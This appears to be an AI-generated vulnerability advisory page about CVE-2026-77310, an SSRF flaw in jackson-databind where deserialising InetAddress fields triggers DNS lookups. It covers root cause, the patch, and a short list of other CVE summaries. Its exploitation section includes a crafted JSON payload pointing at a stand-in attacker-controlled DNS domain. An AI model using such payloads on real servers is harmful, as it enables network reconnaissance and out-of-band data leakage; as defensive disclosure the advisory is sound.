CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-77310

CVE-2026-77310: Server-Side Request Forgery via DNS Resolution in jackson-databind

Alon Barad
Alon Barad
Software Engineer

Sep 29, 2026·4 min read·50 visits

Executive Summary (TL;DR)

Jackson Databind's deserializer for java.net.InetAddress executes synchronous, blocking DNS resolution when processing hostnames, enabling remote, unauthenticated attackers to trigger outbound Server-Side Request Forgery (SSRF) via crafted JSON payloads.

A Server-Side Request Forgery (SSRF) vulnerability exists in FasterXML jackson-databind before versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1. The flaw occurs during the deserialization of java.net.InetAddress fields, where the library implicitly triggers eager DNS lookups. Unauthenticated remote attackers can exploit this behavior by passing arbitrary hostnames in JSON fields, forcing target servers to make outbound DNS lookup requests.

Vulnerability Overview

Jackson Databind is a widely utilized Java library for parsing and mapping JSON data to Java objects. When configuring serialization and deserialization routines, applications can ingest data containing complex types, including network-related Java native classes. The vulnerability resides within the deserialization path of java.net.InetAddress assets, exposing an unauthenticated attack surface to remote entities.

The vulnerability is classified under CWE-918 (Server-Side Request Forgery). By default, applications exposing endpoints that accept arbitrary JSON input and map it to Java models containing InetAddress elements can be forced to initiate outbound DNS lookups. This network behavior allows malicious actors to conduct infrastructure mapping, internal hostname verification, and out-of-band data exfiltration.

Root Cause Analysis

The root cause of the vulnerability lies in the deserialization routing within FromStringDeserializer.Std._deserialize(). When processing a string input that maps to the case STD_INET_ADDRESS, the deserializer passes the unvalidated value directly to InetAddress.getByName(value).

Java's native InetAddress.getByName(String host) method possesses an implicit network resolution dependency. If the passed string is a valid numeric IP address literal (either IPv4 or IPv6), the JVM parses it locally without network interaction. However, if the input is any other string, the JVM treats it as a hostname and initiates a synchronous, blocking outbound DNS lookup through the operating system's configured resolver.

This behavior is visualized in the sequence below:

Because jackson-databind did not validate that the string was restricted to IP literals prior to invoking getByName(), arbitrary strings trigger external DNS resolutions. Attackers can leverage this to force server-side connections to infrastructure controlled by the adversary.

Code Analysis and Patch Verification

The security issue was corrected in commit 2fc7bd9057dd051d7dea0e5fcad89822d0fa5ebd by implementing a local validation utility, InetAddressValidator.java. This validator is adapted from Google Guava's InetAddresses.isInetAddress() implementation to perform lexical checkouts without initiating any network activity.

In FromStringDeserializer.java, the case block was modified as follows:

// Before Patch
case STD_INET_ADDRESS:
    return InetAddress.getByName(value);
 
// After Patch
case STD_INET_ADDRESS:
    // Prevent DNS lookup: only accept valid IP address literals
    if (!InetAddressValidator.isInetAddress(value)) {
        return ctxt.handleWeirdStringValue(_valueClass, value,
                "Not a valid IP address string literal");
    }
    return InetAddress.getByName(value);

The validation layer guarantees that the deserializer will immediately reject arbitrary hostnames. The structure of InetAddressValidator.java focuses on checking the formatting rules of both IPv4 dotted-quad configurations and IPv6 hexadecimal blocks:

class InetAddressValidator {
    static boolean isInetAddress(String ipString) {
        return _ipStringToBytes(ipString) != null;
    }
    // Internal parsing logic performs strict numerical validations
}

This validator rejects leading zeros in IPv4 octets to avoid differences between decimal and octal interpretations across distinct JVM runtime implementations. Consequently, parser differential attacks are neutralized.

Exploitation Methodology

Exploitation requires an endpoint exposing a JSON parsing routine that deserializes data into a POJO with an InetAddress property. The attacker does not need authentication to execute this attack if the host application maps the API publicly.

Consider a vulnerable POJO registration:

public class SystemEndpoint {
    public String hostIdentifier;
    public java.net.InetAddress connectionAddress;
}

An attacker crafts a JSON payload containing an Out-of-Band (OOB) domain designed to log resolution queries:

{
  "hostIdentifier": "production-worker-01",
  "connectionAddress": "exfiltrate-test.attacker-controlled-dns.com"
}

When the web application ingests this payload, the library resolves the hostname during deserialization. The lookup query is successfully forwarded to the authoritative DNS server managed by the attacker. This confirms the vulnerability and leaks the egress server IP.

Impact Assessment

The vulnerability has a CVSS v3.1 base score of 5.3 (Medium). The vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. The impact is limited to low confidentiality leakage.

Because the DNS resolution is synchronous and blocking, excessive requests to slow or non-responsive DNS authorities could lead to resource exhaustion on the target server. Furthermore, adversaries can utilize this vulnerability to map internal network boundaries by querying local hostnames and monitoring the timing of the response. If the DNS lookup completes quickly, the internal name exists; if it times out, the name is likely invalid.

Official Patches

FasterXMLCommit implementing the local validation helper to prevent DNS resolution.

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
EPSS Probability
0.31%
Top 78% most exploited

Affected Systems

Applications utilizing FasterXML jackson-databind to deserialize untrusted JSON into models containing java.net.InetAddress properties.

Affected Versions Detail

Product
Affected Versions
Fixed Version
jackson-databind (com.fasterxml.jackson.core)
FasterXML
>= 2.0.0, < 2.18.92.18.9
jackson-databind (com.fasterxml.jackson.core)
FasterXML
>= 2.19.0, < 2.21.52.21.5
jackson-databind (com.fasterxml.jackson.core)
FasterXML
>= 2.22.0, < 2.22.12.22.1
jackson-databind (tools.jackson.core)
FasterXML
>= 3.0.0, < 3.1.53.1.5
jackson-databind (tools.jackson.core)
FasterXML
>= 3.2.0, < 3.2.13.2.1
AttributeDetail
CWE IDCWE-918 (Server-Side Request Forgery)
Attack VectorNetwork (Unauthenticated)
CVSS v3.1 Score5.3 (Medium)
Exploit StatusProof-of-Concept Available
CISA KEV StatusNot Listed
Impact CategoryLow Confidentiality (SSRF via DNS)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

An application receives the administrative control to fetch a resource from a remote location, but does not sufficiently validate the target URI, allowing attackers to direct the request to arbitrary destinations.

Known Exploits & Detection

GitHub Security AdvisoryVulnerability details and reference issues outlining how resolving domain configurations impacts local services.

Vulnerability Timeline

Code fix design initiated in issue #6058
2026-07-05
Fix commit committed to master branch
2026-07-06
Official advisory GHSA-vvgp-rfg2-7rr6 and CVE-2026-77310 published
2026-08-24

References & Sources

  • [1]FasterXML Jackson Databind Security Advisory GHSA-vvgp-rfg2-7rr6
  • [2]NVD Vulnerability Record
  • [3]GitHub Pull Request #6058

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•11 minutes ago•CVE-2026-62297
7.5

CVE-2026-62297: Uncontrolled Memory Allocation and Denial of Service in ag-psd

An uncontrolled memory allocation vulnerability exists in ag-psd versions prior to 31.0.0. When parsing Adobe Photoshop Document (PSD) files, the readPsd() function reads image dimensions and color depth directly from the file header and allocates off-heap typed arrays without validating whether the requested memory size is proportional to the input stream or bounded by operational thresholds. An unauthenticated attacker can supply a crafted 52-byte PSD payload that triggers an immediate 3.35 GB memory allocation, resulting in process termination via the operating system Out-Of-Memory (OOM) killer.

Amit Schendel
Amit Schendel
0 views•10 min read
•about 1 hour ago•CVE-2026-126297
7.5

CVE-2026-126297: Algorithmic Complexity Denial of Service in NLTK ConllCorpusReader

CVE-2026-126297 (GHSA-v8f3-6phw-6mh9) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. Located in the Semantic Role Labeling (SRL) parser within `nltk/corpus/reader/conll.py`, the flaw allows an attacker to trigger quadratic O(N^2) CPU processing overhead by providing crafted CoNLL-formatted corpus inputs containing decoy span columns or nested full-width verb spans. Applications parsing untrusted linguistic corpora can experience prolonged CPU exhaustion and application-level Denial of Service (DoS).

Amit Schendel
Amit Schendel
2 views•12 min read
•about 2 hours ago•CVE-2026-126298
7.5

CVE-2026-126298: Quadratic Algorithmic Complexity Denial of Service in NLTK Tree.chomsky_normal_form

CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.

Alon Barad
Alon Barad
5 views•12 min read
•about 3 hours ago•CVE-2026-126299
7.5

CVE-2026-126299: Quadratic Algorithmic Complexity Denial of Service in NLTK CCG Lexicon Parser

An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.

Alon Barad
Alon Barad
4 views•10 min read
•about 4 hours ago•CVE-2026-126295
7.1

CVE-2026-126295: Path Traversal and Unconfined File Access in NLTK BllipParser

CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 5 hours ago•CVE-2026-126300
5.3

CVE-2026-126300: Algorithmic Complexity Denial of Service in NLTK TreebankWordTokenizer.span_tokenize

CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.

Amit Schendel
Amit Schendel
3 views•10 min read